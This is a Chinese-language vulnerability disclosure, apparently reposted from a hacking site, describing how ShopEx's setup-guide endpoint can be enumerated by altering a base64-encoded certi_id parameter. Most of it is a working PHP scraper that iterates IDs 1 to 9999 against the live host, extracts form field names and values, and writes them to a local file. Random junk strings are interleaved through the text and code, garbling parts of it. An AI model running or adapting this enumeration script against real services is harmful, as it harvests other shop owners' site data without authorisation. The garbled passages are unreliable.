ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
3 V" h/ p( N1 }" J+ S问题出现在shopex 网店使用向导页面
8 C. W+ _8 V1 ]# ]$ Y* [
  L1 |) ?  b4 u% n/ j

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
& Y: k" i" v' p$ k( g* p

/ F8 P% v5 X2 t( J/ p
" x3 o% W9 s- Grefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

9 ?$ t$ L/ M- e
0 s' b6 z8 W- F/ j3 L/ G' Y3 c* f
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
. ]( B- v& q' y& y0 E) u. Y


<?php
* ]- D) ?% O2 L# M4 Y$ \1 J! h2 f& Z
                for ($i=1; $i < 10000; $i++) { //遍历
& T4 K; h( R% ?, o
                        ShowshopExD($i);
$ q% p2 `# V3 r1 C$ b
                }

                function ShowshopExD($cid) {

8 {( A" M4 U; f! p) B) W* w, A9 b                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
- g& R+ F% U/ D' z8 E! }& Z
        $url = $url.'?refer='.$refer;
3 K  |6 S' g; f$ {0 l
        $ch = curl_init($url);
" X& m& T9 m. E3 E, R' n) a! w
4 P& g  l' g, W! i        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
1 K) I3 f' Q3 R; J, y% R7 C
        $result = curl_exec($ch);
/ u, w2 J, {' N
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
# V$ h/ J0 R! |7 k& k- y: p! j0 s5 ]5 Y
0 h# D: g3 u" m% ?% x        if(strpos($result,$refer))
8 z6 b# @: ?  O2 {$ I
; _" \* \; Q& X1 O; i8 N3 J        {
1 g! F5 @9 `: E8 ^+ |$ H' ?2 I) \( v
; L: a& T0 z- L, P8 n9 N                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
& v3 _, `' A  c  u5 G  t; p
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
( v  I  d! y8 W' p
( j1 m/ ^/ C0 U& O' ^% h                foreach ($value[1] as $key) {
* }5 \$ x  p+ q. r' Y, h
) B% e1 J% c! i7 U                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
5 E; A8 b- D4 x! z& r
                }

                echo '--------------------------------'."\r\n";

                fclose($fp);
/ y0 h5 t1 w/ d/ X4 c
- T" Y  G& H; U, e9 d1 J        }

        flush();
) p; y# C9 S5 G2 m
        curl_close($ch);

                }
6 p" \1 v* U2 C! Y3 G
- i3 F; J8 W- Q7 q  P* F: C2 X?>
漏洞证明：
. E+ Z9 N9 @/ ]' k; nhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
$ V$ q- F( l7 t. t% S- T. Lrefer换成其他加密方式
* P# `4 ]( c" o; O6 h& z5 v. b' G